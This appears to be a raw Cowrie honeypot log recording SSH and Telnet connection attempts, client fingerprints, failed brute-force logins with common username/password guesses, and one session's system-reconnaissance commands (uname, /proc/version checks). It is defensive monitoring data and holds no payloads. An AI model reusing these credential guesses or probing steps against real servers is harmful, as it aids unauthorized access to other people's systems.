{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.205544Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.208682Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.211331Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.214976Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.218151Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.220966Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.224045Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.227745Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.231376Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.391924Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.475519Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":55224,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bef0ceb4ae0","protocol":"ssh","message":"New connection: 162.144.64.128:55224 (159.203.135.109:22) [session: 6bef0ceb4ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:27.056266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:27.061472Z","src_ip":"162.144.64.128","session":"6bef0ceb4ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:27.150362Z","src_ip":"162.144.64.128","session":"6bef0ceb4ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michi","password":"michi123","message":"login attempt [michi/michi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:27.420608Z","src_ip":"162.144.64.128","session":"6bef0ceb4ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:28.513342Z","src_ip":"162.144.64.128","session":"6bef0ceb4ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47824,"dst_ip":"159.203.135.109","dst_port":22,"session":"af58b567707b","protocol":"ssh","message":"New connection: 160.187.174.22:47824 (159.203.135.109:22) [session: af58b567707b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:33.262205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:33.266570Z","src_ip":"160.187.174.22","session":"af58b567707b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:33.521938Z","src_ip":"160.187.174.22","session":"af58b567707b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":60800,"dst_ip":"10.17.0.5","dst_port":22,"session":"df0b429239d1","protocol":"ssh","message":"New connection: 192.169.197.250:60800 (10.17.0.5:22) [session: df0b429239d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:33.825619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:33.830943Z","src_ip":"192.169.197.250","session":"df0b429239d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:33.895942Z","src_ip":"192.169.197.250","session":"df0b429239d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skale","password":"skale2024","message":"login attempt [skale/skale2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:34.095328Z","src_ip":"192.169.197.250","session":"df0b429239d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:34.273847Z","src_ip":"160.187.174.22","session":"af58b567707b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:35.163583Z","src_ip":"192.169.197.250","session":"df0b429239d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:35.522159Z","src_ip":"160.187.174.22","session":"af58b567707b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":33066,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1dfa70ebc15","protocol":"ssh","message":"New connection: 143.20.185.207:33066 (159.203.135.109:22) [session: c1dfa70ebc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:51.810552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:51.815017Z","src_ip":"143.20.185.207","session":"c1dfa70ebc15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:51.943297Z","src_ip":"143.20.185.207","session":"c1dfa70ebc15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#8VCPU16GBAMD","message":"login attempt [root/XYZZVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:52.299092Z","src_ip":"143.20.185.207","session":"c1dfa70ebc15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:53.415865Z","src_ip":"143.20.185.207","session":"c1dfa70ebc15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42432,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4b7fde6ce6","protocol":"ssh","message":"New connection: 160.187.174.22:42432 (159.203.135.109:22) [session: 4c4b7fde6ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:59.888506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:59.892317Z","src_ip":"160.187.174.22","session":"4c4b7fde6ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:00.134147Z","src_ip":"160.187.174.22","session":"4c4b7fde6ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:00.877742Z","src_ip":"160.187.174.22","session":"4c4b7fde6ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:02.124244Z","src_ip":"160.187.174.22","session":"4c4b7fde6ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41684,"dst_ip":"159.203.135.109","dst_port":23,"session":"359bc21397dc","protocol":"telnet","message":"New connection: 170.64.224.25:41684 (159.203.135.109:23) [session: 359bc21397dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:12.358747Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":50332,"dst_ip":"159.203.135.109","dst_port":22,"session":"f921020e2370","protocol":"ssh","message":"New connection: 162.241.33.238:50332 (159.203.135.109:22) [session: f921020e2370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:25.912525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:25.918469Z","src_ip":"162.241.33.238","session":"f921020e2370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:25.986486Z","src_ip":"162.241.33.238","session":"f921020e2370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guarda789","message":"login attempt [root/guarda789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:26.078648Z","src_ip":"162.241.33.238","session":"f921020e2370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:27.107699Z","src_ip":"162.241.33.238","session":"f921020e2370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46522,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed8d4e89ab20","protocol":"ssh","message":"New connection: 160.187.174.22:46522 (159.203.135.109:22) [session: ed8d4e89ab20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:27.783773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:27.788100Z","src_ip":"160.187.174.22","session":"ed8d4e89ab20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:28.023818Z","src_ip":"160.187.174.22","session":"ed8d4e89ab20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:28.736851Z","src_ip":"160.187.174.22","session":"ed8d4e89ab20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:29.974517Z","src_ip":"160.187.174.22","session":"ed8d4e89ab20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":40372,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dafd4f63395","protocol":"ssh","message":"New connection: 209.99.190.113:40372 (10.17.0.5:22) [session: 0dafd4f63395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:51.926518Z"}
